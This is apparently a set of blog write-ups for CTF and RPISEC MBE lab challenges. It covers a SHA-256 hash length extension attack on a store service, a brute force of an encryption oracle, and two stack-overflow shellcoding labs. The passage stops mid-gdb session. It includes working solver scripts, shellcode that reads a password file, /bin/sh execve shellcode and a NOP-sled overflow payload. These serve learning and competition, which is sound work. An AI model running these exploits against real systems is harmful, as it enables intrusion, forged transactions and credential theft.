Crypto►Hash Extension Attack

Viettel Mates CTF 2018 - Viettel Store Writeup

This was a fun challenge because I got to use hash extension attack. To learn about hash extension attacks, Ron Bowes has a great blog post about hash extension attacks and a corresponding GitHub repository of the hash_extender tool which I used directly in my solution to this challenge.

For Viettel Store, I was given a file crypto1.py and nc 13.251.110.215 10001.

crypto1.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
import time
import string
import random
from hashlib import sha256
from urlparse import parse_qsl

money = random.randint(1000000, 5000000)
signkey = ''.join([random.choice(string.letters+string.digits) for _ in xrange(random.randint(8,32))])
items = [
    ('Samsung Galaxy S9', 19990000),
    ('Oppo F5', 5990000),
    ('iPhone X', 27790000),
    ('Vivo Y55s', 3990000),
    ('Itel A32F', 1350000),
    ('FLAG', 999999999)
]

def view_list():
    for i, item in enumerate(items):
        print "%d - %s: %d VND" % (i, item[0], item[1])

def order():
    try:
        n = int(raw_input('Item ID: '))
    except:
        print 'Invalid ID!'
        return
    if n < 0 or n >= len(items):
        print 'Invalid ID!'
        return
    payment = 'product=%s&price=%d&timestamp=%d' % (items[n][0], items[n][1], time.time()*1000000)
    sign = sha256(signkey+payment).hexdigest()
    payment += '&sign=%s' % sign
    print 'Your order:\n%s\n' % payment

def pay():
    global money
    print 'Your order: '
    payment = raw_input().strip()
    sp = payment.rfind('&sign=')
    if sp == -1:
        print 'Invalid Order!'
        return
    sign = payment[sp+6:]
    payment = payment[:sp]
    signchk = sha256(signkey+payment).hexdigest()
    if signchk != sign:
        print 'Invalid Order!'
        return

    for k,v in parse_qsl(payment):
        if k == 'product':
            product = v
        elif k == 'price':
            try:
                price = int(v)
            except:
                print 'Invalid Order!'
                return

    if money < price:
        print 'Sorry, you don\'t have enough money'
        return

    money -= price
    print 'Your current money: $%d' % money
    print 'You have bought %s' % product
    if product == 'FLAG':
        print 'Good job! Here is your flag: %s' % open('flag').read().strip()

def main():
    print 'Viettel Store'
    print 'You were walking on the street. Suddenly, you found a wallet and there are %d VND inside. You decided to go to Viettel Store to buy a new phone' % money
    while True:
        print 'Your wallet: %d VND' % money
        print '1. Phone list'
        print '2. Order'
        print '3. Pay'
        print '4. Exit'
        try:
            inp = int(raw_input())
            print 'Your option: ', inp
            if inp == 1:
                view_list()
            elif inp == 2:
                order()
            elif inp == 3:
                pay()
            elif inp == 4:
                break
        except:
            break

if __name__ == '__main__':
    main()

The general flow of the program seems simple enough. I’m given some random amount of money and can “order” an item, in which the URL parameters containing the product, price, and a timestamp (in nanosecond time) is hashed via sha256 after being prepended with a secret signing key of some random length between 8 and 32. I can then use this output to pay for the item. The menu item checks that the hash is the same and that I have enough money to purchase the item. The code shows obviously that I need to somehow purchase the item FLAG in order to get the flag for the challenge. The following shows some sample usage.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
$ nc 13.251.110.215 10001
Viettel Store
You were walking on the street. Suddenly, you found a wallet and there are 4410308 VND inside. You decided to go to Viettel Store to buy a new phone
Your wallet: 4410308 VND
1. Phone list
2. Order
3. Pay
4. Exit
2
Your option:  2
Item ID: 5
Your order:
product=FLAG&price=999999999&timestamp=1529219946064768&sign=061d90bd351d5b994b9b5ecf4b84928563aa0449dc30f510d8f42d04a391fa59

Your wallet: 4410308 VND
1. Phone list
2. Order
3. Pay
4. Exit
3
Your option:  3
Your order:
product=FLAG&price=999999999&timestamp=1529219946064768&sign=061d90bd351d5b994b9b5ecf4b84928563aa0449dc30f510d8f42d04a391fa59
Sorry, you don't have enough money
Your wallet: 4410308 VND
1. Phone list
2. Order
3. Pay
4. Exit

The main problem seems to be that the price of the item FLAG is far too high – and my starting money is determined via random.randint(1000000, 5000000). The crypto part of the challenge comes from the code taking everything before &sign, prepending it with a secret signing key, and then calculating the sha256 hash. It turns out that this exact circumstance is vulnerable to a hash extension attack. I can use the tool hash_extender called via python’s Popen in order to calculate a new possible hash without knowing the secret signing key AND I can append arbitrary data to the end as well. This is perfect because I want to append &price=1 to the end of the URL parameter list so that FLAG is affordable. This will work out since the for-loop using parse_qsl will overwrite previous parameters.

To clarify, I can give hash_extender prior knowledge such as product=FLAG&price=999999999&timestamp=1529219946064768 hashing to 061d90bd351d5b994b9b5ecf4b84928563aa0449dc30f510d8f42d04a391fa59 and tell it that I want to append &price=1 to the end of the string to give me a new hash. This new hash can be used to then buy the FLAG item. Easy!

I want to use hash extender in the following way:

1
$ ./hash_extender -d <originally hashed url string> --signature=<sha256 hash of url string> --format=sha256 --secret-min=8 --secret-max=31 --append=&price=1 --append-format=html --data-format=cstr --out-data-format=hex

This gives many lines of output of input strings corresponding to the resulting hash that we can use to trick the validation logic in crypto1.py. The following script is my solution to this ctf challenge where I use hash_extender to give me a list of new hashes and their corresponding url strings.

crypto1sol.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
import time
import string
import random
from hashlib import sha256
from urlparse import parse_qsl
from pwn import *
from subprocess import Popen, PIPE
import binascii

HOST = '13.251.110.215'
PORT = 10001

# Use hash_extender's hash extension attack to get new hashes
def getPossibleExtensions(payment, signature):
  p = Popen(['./hash_extender/hash_extender', '-d', '%s' % (payment), '--signature=%s' % (signature), '--format=sha256', '--secret-min=8', '--secret-max=31', '--append=&price=1', '--append-format=html', '--data-format=cstr', '--out-data-format=hex'], stdout=PIPE)

  res = p.communicate()[0]

  l = [x.split(' ')[-1] for x in res.splitlines() if x.startswith('New string')]

  sigs = [x.split(' ')[-1] for x in res.splitlines() if x.startswith('New signature')]

  ret = []
  for i, line in enumerate(l):
    ret.append((binascii.unhexlify(line), sigs[i]))

  return ret

def getPretext(r):
  return '\n'.join(r.recvlines(2))

def getMenu(r):
  return '\n'.join(r.recvlines(5))

# Get the order and the hash
def getOrder(r):
  getMenu(r)
  r.sendline('2')
  r.recvline() # Your option: 
  r.recvuntil('ID: ')
  r.sendline('5')
  r.recvline() # Your order: 
  order = r.recvline().strip()

  sp = order.rfind('&sign=')
  sign = order[sp+6:]
  payment = order[:sp]

  print order
  print 'Payment: %s' % (payment)
  print 'Signature: %s' % (sign)
  r.recvline()
  return payment, sign

# Try one particular payment
# We have to try multiple hash extensions since we
# don't know the length of the secret signing key
def tryPayment(r, payment):
  try:
    m = getMenu(r)
    assert m.startswith('Your wallet:')
    r.sendline('3')
    r.recvline() # Your option: 
    r.recvline() # Your order:
    print '\t[x] Trying: %s' % (payment)
    r.sendline(payment)
    ret = r.recvline().rstrip()

    if ret.startswith('Invalid') or ret.startswith('Sorry'):
      print '[-] %s' % (ret)
      return 1
    else:
      print '[+] %s' % (ret)
      print '[+] %s' % (r.recvline())
      print '[+] %s' % (r.recvline())
      return 0
  except EOFError as e:
    print '[-] Failed due to EOFError'
    return 2
  except Exception as e:
    print '[-] Failed due to unknown exception'
    return 2
  
def main():
  while True:
    r = remote(HOST, PORT)
    getPretext(r)

    payment, sign = getOrder(r)

    possibleExtensions = getPossibleExtensions(payment, sign)

    for p in possibleExtensions:
      ret = tryPayment(r, '%s&sign=%s' % (p[0], p[1]))

      if ret == 2:
        continue
      elif ret == 0:
        r.close()
        return

if __name__ == '__main__':
  main()

Running the script will do all of this for me and give the flag (sometimes after many tries due to unknown length of secret signing key):

1
2
3
4
5
6
7
8
9
10
$ python crypto1sol.py
[+] Opening connection to 13.251.110.215 on port 10001: Done
product=FLAG&price=999999999&timestamp=1529220888230340&sign=427e7d37ad4031088022d5f3e58a620d3f1e338a64f40d80726b10224f22e34c
Payment: product=FLAG&price=999999999&timestamp=1529220888230340
Signature: 427e7d37ad4031088022d5f3e58a620d3f1e338a64f40d80726b10224f22e34c
    [x] Trying: product=FLAG&price=999999999&timestamp=1529220888230340\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00�&price=1&sign=a7d479dbed69942e27a7fe91665f36028cd22851d3e2bf842a3885b0fae38382
[+] Your current money: $3708842
[+] You have bought FLAG

[+] Good job! Here is your flag: matesctf{e4sy_3xt3nti0n_4tt4cK_x0x0}

The flag for this challenge is: matesctf{e4sy_3xt3nti0n_4tt4cK_x0x0}.

Crypto

Viettel Mates CTF 2018 - ddu du ddu du ddu du ddu du ddu du ddu du ddu du ddu du ddu du d Writeup

What a long challenge name. This one is a simple oracle attack. Let’s dive right in.

The challenge gives us one simple lines to netcat to:

1
nc ec2-13-251-81-16.ap-southeast-1.compute.amazonaws.com 3333

Connecting to this server gives us the following:

1
2
3
4
5
$ nc ec2-13-251-81-16.ap-southeast-1.compute.amazonaws.com 3333
Please select one of flowing options:
1 - You send me any message then I will give you corresponding cipher text
2 - I show you the challenge flag and you have 3 times to guess the plain text
Your choice:

Choosing option 1 gives you an oracle which will encrypt things you give it and give you the base64 encoded ciphertext:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ nc ec2-13-251-81-16.ap-southeast-1.compute.amazonaws.com 3333
Please select one of flowing options:
1 - You send me any message then I will give you corresponding cipher text
2 - I show you the challenge flag and you have 3 times to guess the plain text
Your choice: 1
Your message: 1
The cipher text: SkVEQg==
Your message: 11
The cipher text: SkVEQktGQUE=
Your message: 111
The cipher text: SkVEQktGQUFKRURC
Your message: 1111
The cipher text: SkVEQktGQUFKRURCS0ZBQQ==
Your message:

Luckily, this connection seemingly stays open indefinitely (or at least longer than 10 minutes). Decoding some of the base64 gives us sequences of capital characters:

1
2
3
4
$ python -c "import base64; print base64.b64decode('SkVEQg==')"
JEDB
$ python -c "import base64; print base64.b64decode('SkVEQktGQUE=')"
JEDBKFAA

By experimenting around, it seems that each character maps to 4 capital ascii letters (after base64 decode). I also found that the four capital characters corresponding to a particular input character in the plaintext will be different depending on where that character is in the input string. As in the above examples, a plaintext of 1 maps to a ciphertext of JEDB but a plaintext of 11 maps to a ciphertext of JEDBKFAA. Thus, we can only assume that the crypto algorithm being used is using previous portions of the plaintext to determine subsequent ciphertext output.

When I choose option 2, I’m given a “challenge message” and told to guess what the plaintext is. Each time I open a new connection, I’m given a different challenge message. Some challenge messages are longer than others, but not significantly so. It’s also important to note that every challenge message received is some length that is divisible by 4, which further backs up my previous assumption that each character of the plaintext maps to four capital letters in the ciphertext. Similar to when I chose option 1, it also seems like this connection just stays open. This makes it incredibly easy to open two connections at once – one for getting the challenge message and another for brute forcing using the oracle. 

1
2
3
4
5
6
7
$ nc ec2-13-251-81-16.ap-southeast-1.compute.amazonaws.com 3333
Please select one of flowing options:
1 - You send me any message then I will give you corresponding cipher text
2 - I show you the challenge flag and you have 3 times to guess the plain text
Your choice: 2
Nice! Your challenge message: MKGPIACFNAHFJPDKOKEPLDBGMEGBPDFGLEBBNGHDLCBHPKFPIDCGLFBAODEGJHDCPBFEICCHMOGLKGADOJEMICCHOJEMKPAKOFEAIDCGNEHBKHACNCHHKLAOJPDKMNGIJJDMOPEKIOCLNPHKKFAAMDGGIBCEPCFHIDCG
Your guess:

So here’s the basic idea:

  1. Open a remote connection to the server to get the challenge message.
  2. Open another remote connection to the server to use the oracle.
  3. Slowly brute force the oracle for each character of the plaintext of the challenge message.

And here’s my script which solves it:

dusol.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
# Wellington Lee
# viettel mates CTF

from pwn import *
from base64 import b64decode
import string
import sys
import progressbar

HOST = 'ec2-13-251-81-16.ap-southeast-1.compute.amazonaws.com'
PORT = 3333

# A dictionary of all the first character mappings
# This is not really significant -- just marginally sped up cracking
d = {'OAEF': 'E', 'NDHG': 'v', 'KMAJ': '\t', 'NEHB': 'q', 'PEFB': 'Q', 'IKCP': '/', 'JNDI': '8', 'IICN': '-', 'KFAA': '\x00', 'NAHF': 'u', 'IGCD': '#', 'KKAP': '\x0f', 'OOEL': 'K', 'MEGB': 'a', 'LFBA': '\x10', 'JODL': ';', 'PBFE': 'T', 'MGGD': 'c', 'KCAH': '\x07', 'NOHL': '{', 'ONEI': 'H', 'IMCJ': ')', 'IECB': '!', 'NNHI': 'x', 'JHDC': '2', 'PNFI': 'X', 'OJEM': 'L', 'OLEO': 'N', 'JDDG': '6', 'IACF': '%', 'LJBM': '\x1c', 'LCBH': '\x17', 'JGDD': '3', 'PDFG': 'V', 'JCDH': '7', 'KHAC': '\x02', 'LHBC': '\x12', 'MJGM': 'l', 'PHFC': 'R', 'ICCH': "'", 'MLGO': 'n', 'PLFO': '^', 'MFGA': '`', 'JLDO': '>', 'OHEC': 'B', 'LGBD': '\x13', 'NKHP': '\x7f', 'LABF': '\x15', 'JJDM': '<', 'KGAD': '\x03', 'MCGH': 'g', 'NHHC': 'r', 'POFL': '[', 'NCHH': 'w', 'JEDB': '1', 'ILCO': '.', 'MAGF': 'e', 'JKDP': '?', 'MBGE': 'd', 'NLHO': '~', 'NBHE': 't', 'PFFA': 'P', 'PJFM': '\\', 'MOGL': 'k', 'KOAL': '\x0b', 'IFCA': ' ', 'NPHK': 'z', 'LPBK': '\x1a', 'LOBL': '\x1b', 'JPDK': ':', 'JADF': '5', 'NGHD': 's', 'KBAE': '\x04', 'IBCE': '$', 'OPEK': 'J', 'MKGP': 'o', 'OMEJ': 'I', 'OIEN': 'M', 'NIHN': '}', 'MIGN': 'm', 'NJHM': '|', '\xb5\xecm': '\n', 'JMDJ': '9', 'LEBB': '\x11', 'PAFF': 'U', 'IOCL': '+', 'MDGG': 'f', 'LKBP': '\x1f', 'LBBE': '\x14', 'MMGJ': 'i', 'JFDA': '0', 'MPGK': 'j', 'OCEH': 'G', 'PPFK': 'Z', 'JBDE': '4', 'IPCK': '*', 'ODEG': 'F', 'OKEP': 'O', 'LMBJ': '\x19', 'OFEA': '@', 'PIFN': ']', 'MHGC': 'b', 'KLAO': '\x0e', 'OBEE': 'D', 'PMFJ': 'Y', 'OGED': 'C', 'IHCC': '"', 'KAAF': '\x05', 'PKFP': '_', 'JIDN': '=', 'INCI': '(', '\xe1\x80\xb6I\xe1\x81\x80N': '\x80', 'KEAB': '\x01', 'NFHA': 'p', 'KDAG': '\x06', 'IJCM': ',', 'PCFH': 'W', 'LLBO': '\x1e', 'LNBI': '\x18', 'KJAM': '\x0c', 'MNGI': 'h', 'LIBN': '\x1d', 'PGFD': 'S', 'LDBG': '\x16', 'OEEB': 'A', 'KNAI': '\x08', 'IDCG': '&', 'NMHJ': 'y'}

# Iterates through string.printable to find next 
# character in sequence to match the challenge message
def findTarget(r2, target, so_far):

  for c in string.printable:
    r2.recvuntil('message: ')
    try_str = so_far + c 
    r2.sendline(try_str)
    s = r2.recvline()
    key = b64decode(s.strip().split(' ')[-1])
    if key == target:
      return c
    else:
      pass
  return None

# Cracks a given challenge message via oracle
def crackChallenge(challenge):
  global d 

  r2 = remote(HOST, PORT)
  r2.recvuntil('choice: ')
  r2.sendline('1')

  res_str = ''
  res_str += d[challenge[0:4]]

  with progressbar.ProgressBar(max_value=len(challenge), redirect_stdout=True, redirect_stderr=True) as bar:
    for i in range(4, len(challenge), 4):
      target = challenge[0:i+4]

      ret = findTarget(r2, target, res_str)

      if ret is not None:
        res_str += ret 
      else:
        r2.close()
        sys.exit(1)
      bar.update(i)
  r2.close()
  return res_str

# Get our challenge message
r = remote(HOST, PORT)
r.recvuntil('choice: ')
r.sendline('2')
challenge = r.recvline().strip()
challenge = challenge.split(' ')[-1]
print '[+] Challenge: %s' % (challenge)
r.recvuntil('guess: ')

# Use the oracle to brute force for the plaintext
print '[+] Cracking challenge...'
res = crackChallenge(challenge)

# Send the challenge solution
print '[+] Challenge solution: %s' % (res)
r.sendline(res)
print r.recvline()

After running the above script, I’m given:

1
2
[+] Challenge solution: 9t0cfkn6q4DrFo20R2UOjV9iDuCDWcnUin8bWyxp5lFuxTzS5BS
Awesome! Here is the final flag: Good fun with bad crypto

Thus, the flag for the challenge was matesctf{Good fun with bad crypto}.

Binary Exploitation►Shellcoding

Pwntools Shellcraft Fun - MBE Lab 3B Writeup

This writeup will be about MBE’s Lab 3B. The lab itself is very simple, but I’m more interested in how I solved it using Pwntools’ Shellcraft. This was the first time I’ve used shellcraft and I’ve found it extremely useful and preferable to crafting shellcode by hand. With that said, nothing can beat the accuracy and meticulousness of handcrafted shellcode.

For Lab 3B, we’re given a binary (lab3B) and the corresponding source code:

lab3B.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
#include <signal.h>
#include <assert.h>
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/ptrace.h>
#include <sys/reg.h>
#include <sys/prctl.h>
#include <wait.h>
#include "utils.h"

ENABLE_TIMEOUT(60)

/* gcc -z execstack -fno-stack-protector -o lab3B lab3B.c */

/* hint: write shellcode that opens and reads the .pass file.
   ptrace() is meant to deter you from using /bin/sh shellcode */

int main()
{
    pid_t child = fork();
    char buffer[128] = {0};
    int syscall = 0;
    int status = 0;

    if(child == 0)
    {
        prctl(PR_SET_PDEATHSIG, SIGHUP);
        ptrace(PTRACE_TRACEME, 0, NULL, NULL);

        /* this is all you need to worry about */
        puts("just give me some shellcode, k");
        gets(buffer);
    }
    else
    {
        /* mini exec() sandbox, you can ignore this */
        while(1)
        {
            wait(&status);
            if (WIFEXITED(status) || WIFSIGNALED(status)){
                puts("child is exiting...");
                break;
            }

            /* grab the syscall # */
            syscall = ptrace(PTRACE_PEEKUSER, child, 4 * ORIG_EAX, NULL);

            /* filter out syscall 11, exec */
            if(syscall == 11)
            {
                printf("no exec() for you\n");
                kill(child, SIGKILL);
                break;
            }
        }
    }

    return EXIT_SUCCESS;
}

Nothing too exciting to see here. Basically, we’re given the hint that we should write shellcode to open and read the .pass file, since ptrace is preventing us from using /bin/sh shellcode. That’s fine by me. Luckily, there’s a shellcraft function for reading files on an i386 Linux system.

Before we fire up an interactive Python session to test this out, let’s look at the function header and arguments and discuss what we need to send in.

1
pwnlib.shellcraft.i386.linux.readfile(path, dst='esi')

Args: [path, dst (imm/reg) = esi ] Opens the specified file path and sends its content to the specified file descriptor.

Since we want to read the .pass file of the next level, the full path of the .pass file is /home/lab3A/.pass. For dst, we need to give it a file descriptor. Then why not stdout? stdout is usually file descriptor 1, so we’ll set dst=1 in our argument list. This gives us the following function call:

1
pwnlib.shellcraft.i386.linux.readfile('/home/lab3A/.pass', 1)

Let’s test it in an interactive Python session:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
Python 2.7.14 (default, Sep 25 2017, 09:53:22) 
[GCC 4.2.1 Compatible Apple LLVM 9.0.0 (clang-900.0.37)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>> from pwn import *
>>> print pwnlib.shellcraft.i386.linux.readfile('/home/lab3A/.pass', 1)
    /* Save destination */
    push 1
    pop edi

    /* push '/home/lab3A/.pass\x00' */
    push 0x73
    push 0x7361702e
    push 0x2f413362
    push 0x616c2f65
    push 0x6d6f682f

    /* call open('esp', 'O_RDONLY') */
    push SYS_open /* 5 */
    pop eax
    mov ebx, esp
    xor ecx, ecx
    int 0x80

    /* Save file descriptor for later */
    mov ebp, eax

    /* call fstat('eax', 'esp') */
    mov ebx, eax
    push SYS_fstat /* 0x6c */
    pop eax
    mov ecx, esp
    int 0x80

    /* Get file size */
    add esp, 20
    mov esi, [esp]

    /* call sendfile('edi', 'ebp', 0, 'esi') */
    xor eax, eax
    mov al, 0xbb
    mov ebx, edi
    mov ecx, ebp
    cdq /* edx=0 */
    int 0x80

>>>

In a nicer format, this is what the assembly comes out to be:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
/* Save destination */
push 1
pop edi

/* push '/home/lab3A/.pass\x00' */
push 0x73
push 0x7361702e
push 0x2f413362
push 0x616c2f65
push 0x6d6f682f

/* call open('esp', 'O_RDONLY') */
push SYS_open /* 5 */
pop eax
mov ebx, esp
xor ecx, ecx
int 0x80

/* Save file descriptor for later */
mov ebp, eax

/* call fstat('eax', 'esp') */
mov ebx, eax
push SYS_fstat /* 0x6c */
pop eax
mov ecx, esp
int 0x80

/* Get file size */
add esp, 20
mov esi, [esp]

/* call sendfile('edi', 'ebp', 0, 'esi') */
xor eax, eax
mov al, 0xbb
mov ebx, edi
mov ecx, ebp
cdq /* edx=0 */
int 0x80

That looks beautiful! The only problem is that we need to use this as shellcode, meaning we need it in the form of bytes, not assembly instructions. Thankfully, pwntools also has a handy function asm() which converts assembly code into the raw bytes to be used as shellcode.

Let’s try it out!

1
2
3
4
5
6
7
Python 2.7.14 (default, Sep 25 2017, 09:53:22) 
[GCC 4.2.1 Compatible Apple LLVM 9.0.0 (clang-900.0.37)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>> from pwn import *
>>> asm(pwnlib.shellcraft.i386.linux.readfile('/home/lab3A/.pass', 1))
'j\x01_jsh.pashb3A/he/lah/homj\x05X\x89\xe31\xc9\xcd\x80\x89\xc5\x89\xc3jlX\x89\xe1\xcd\x80\x83\xc4\x14\x8b4$1\xc0\xb0\xbb\x89\xfb\x89\xe9\x99\xcd\x80'
>>>

Our final shellcode payload looks like:

1
j\x01_jsh.pashb3A/he/lah/homj\x05X\x89\xe31\xc9\xcd\x80\x89\xc5\x89\xc3jlX\x89\xe1\xcd\x80\x83\xc4\x14\x8b4$1\xc0\xb0\xbb\x89\xfb\x89\xe9\x99\xcd\x80

Now, all that’s left to do is to craft our exploit. The size of the buffer is 128 bytes so we have plenty of space to work with. Let’s make the entire buffer all NOPs and then our shellcode. In gdb, it looks like bffff640 might be around the ballpark of where this buffer begins, so we overwrite the function return address with this address. In addition to this, it looks like there’s 28 bytes between the end of the buffer and the return address we want to overwrite. Our shellcode comes out to be 62 bytes. Therefore, the following is what we want the stack to look like after we write to the buffer:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
+------------------+
| \x90\x90\x90\x90 | <-- 0xbffff640 (approximately beginning of buffer)
+------------------+
| \x90\x90\x90\x90 |
+------------------+
| \x90\x90\x90\x90 |
+------------------+
| \x90\x90\x90\x90 |
+------------------+
        ...
+------------------+        
|\x90\x90 shellcode| <-- 0xbffff640 + 64 (Beginning of shellcode)
+------------------+
|    shellcode     |
+------------------+
|    shellcode     |
+------------------+
        ...
+------------------+
|    shellcode     |
+------------------+
|    shellcode     | <-- 0xbffff640 + 124
+------------------+
|      ??????      | <-- 0xbffff640 + 128
+------------------+
|      ??????      | <-- 0xbffff640 + 132
+------------------+
|      ??????      | <-- 0xbffff640 + 136
+------------------+
|      ??????      | <-- 0xbffff640 + 140
+------------------+
|      ??????      | <-- 0xbffff640 + 144
+------------------+
|      ??????      | <-- 0xbffff640 + 148
+------------------+
|      ??????      | <-- 0xbffff640 + 152
+------------------+
| \xbf\xff\xf6\x40 | <-- 0xbffff640 + 156
+------------------+

Our final exploit looks like the following (remember to take into account endianness):

1
2
3
4
5
6
7
8
9
10
11
12
import sys

shellcode = 'j\x01_jsh.pashb3A/he/lah/homj\x05X\x89\xe31\xc9\xcd\x80\x89\xc5\x89\xc3jlX\x89\xe1\xcd\x80\x83\xc4\x14\x8b4$1\xc0\xb0\xbb\x89\xfb\x89\xe9\x99\xcd\x80'

LEN_BEG = 128
END_SLED = '\x90'*28
RET_ADDR = '\x40\xf6\xff\xbf'

NOP_SLED = '\x90'*(LEN_BEG - len(shellcode)) 
PAYLOAD = NOP_SLED + shellcode + END_SLED + RET_ADDR

sys.stdout.write(PAYLOAD)

When we run it, we’re able to get the password printed to stdout:

1
2
3
$ python lab3B.py | ./lab3B
just give me some shellcode, k
wh0_n33ds_5h3ll3_wh3n_U_h4z_s4nd

And we get our password for Lab 3A:

1
wh0_n33ds_5h3ll3_wh3n_U_h4z_s4nd
Binary Exploitation►Shellcoding

Baby's First Shellcode - MBE Lab 3C Writeup

I’ve been working through RPISEC’s course on Modern Binary Exploitation as a refresher on reverse engineering and pwning. I’ve kept loose notes and writeups of the labs but want to write some more solid writeups here, so that future me can come back and read these in case I forget how to do them.

This first one will be on Lab 3C – the first lab that requires shellcoding. The lab itself is the textbook example of exploiting a program vulnerable to shellcode injection. We’re given a 32-bit ELF binary (lab3C) and the corresponding source code:

lab3C.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

/* gcc -z execstack -fno-stack-protector -o lab3C lab3C.c */

char a_user_name[100];

int verify_user_name()
{
    puts("verifying username....\n");
    return strncmp(a_user_name, "rpisec", 6);
}

int verify_user_pass(char *a_user_pass)
{
    return strncmp(a_user_pass, "admin", 5);
}

int main()
{
    char a_user_pass[64] = {0};
    int x = 0;

    /* prompt for the username - read 100 byes */
    printf("********* ADMIN LOGIN PROMPT *********\n");
    printf("Enter Username: ");
    fgets(a_user_name, 0x100, stdin);

    /* verify input username */
    x = verify_user_name();
    if (x != 0){
        puts("nope, incorrect username...\n");
        return EXIT_FAILURE;
    }

    /* prompt for admin password - read 64 bytes */
    printf("Enter Password: \n");
    fgets(a_user_pass, 0x64, stdin);

    /* verify input password */
    x = verify_user_pass(a_user_pass);
    if (x == 0 || x != 0){
        puts("nope, incorrect password...\n");
        return EXIT_FAILURE;
    }

    return EXIT_SUCCESS;
}

Let’s take a quick look at the above code. First, the user is prompted for a username, which is checked against the string rpisec using strncmp. If the input string is rpisec, then the user is allowed to proceed. Next, the user is prompted for a password, which is checked against the string admin, again using strncmp. This time, if the string equals or does not equal admin, the user is told that they have failed. Essentially, the user will always get this incorrect password message, which doesn’t really matter to us since we’re trying to execute a shell.

There are several telling signs that this is vulnerable to shellcode injection:

  1. The compile flag -z execstack allows data on the stack to be executed as instructions
  2. The compile flag -fno-stack-protector disables the detection mechanisms that guard against stack smashing.
  3. The buffers a_user_name and a_user_pass are 100 bytes and 64 bytes respectively but the calls to fgets read in 0x100 and 0x64 bytes, allowing for buffer overflow.
  4. The lab happens right after the shellcoding lecture, of course.

This gives us potentially 0x100 + 0x64 = 256 + 100 + 356 bytes (!!) to work with. Some of this will be padded with \x90 for our NOP sled, but in the end, 356 bytes is more than enough to pop a shell.

Now let’s grab a suitable piece of shellcode for x86 that we can use as part of our payload:

1
2
3
4
5
6
7
8
9
10
11
12
 0:   31 c0                   xor    eax,eax
 2:   50                      push   eax
 3:   68 2f 73 68 00          push   0x68732f
 8:   68 2f 62 69 6e          push   0x6e69622f
 d:   89 e3                   mov    ebx,esp
 f:   89 c1                   mov    ecx,eax
11:   89 c2                   mov    edx,eax
13:   b0 0b                   mov    al,0xb
15:   cd 80                   int    0x80
17:   31 c0                   xor    eax,eax
19:   40                      inc    eax
1a:   cd 80                   int    0x80

The above shellcode is roughly similar to this snippet of C code:

1
2
exec("/bin/sh");
exit(0);

This will give us a shell as the owner of the program (lab3B) due to the way these lab binaries are set up. Our above shellcode is only 28 bytes in length, so we could put our entire payload within the space of a_user_pass, since we’ll need to do a buffer overflow here anyways in order to modify the return address from main(). Note that it’s entirely possible to put the payload in a_user_name and just have our modified return address from main() jump to that. This is due to the fact that strncmp is being used for the user name. So for our “username”, we could enter rpisec followed by the payload and the program would happily accept our username since the first six characters match as expected. No matter what we put there, we still have to get to overflowing the a_user_pass buffer. For this, we need to figure out where the return address is in relation to the beginning of a_user_pass. Let’s look at the first chunk of the assembly code of the main() function from running objdump -d lab3C:

1
2
3
4
5
08048790 <main>:
 8048790:       55                      push   %ebp
 8048791:       89 e5                   mov    %esp,%ebp
 8048793:       57                      push   %edi
 8048794:       53                      push   %ebx

It’s important to note that %edi and %ebx are being pushed onto the stack, as they are callee saved registers. In addition to this, we have %ebp pushed onto the stack (as is customary when entering a function in x86), as well as the int variable i, which during the main() function, lives at $esp+0x5c. This means that the beginning of a_user_pass is 64 (size of a_user_pass) + 4 (size of i) + 12 (combined size of ebp, edi, and ebx) = 80 bytes before the return address we wish to overwrite. We can verify this in gdb by setting a breakpoint after the password is read in via fgets() in main() and seeing where our data was placed:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
lab3C@warzone:/levels/lab03$ gdb lab3C
Reading symbols from lab3C...(no debugging symbols found)...done.
gdb-peda$ b *0x804883f
Breakpoint 1 at 0x804883f
gdb-peda$ r
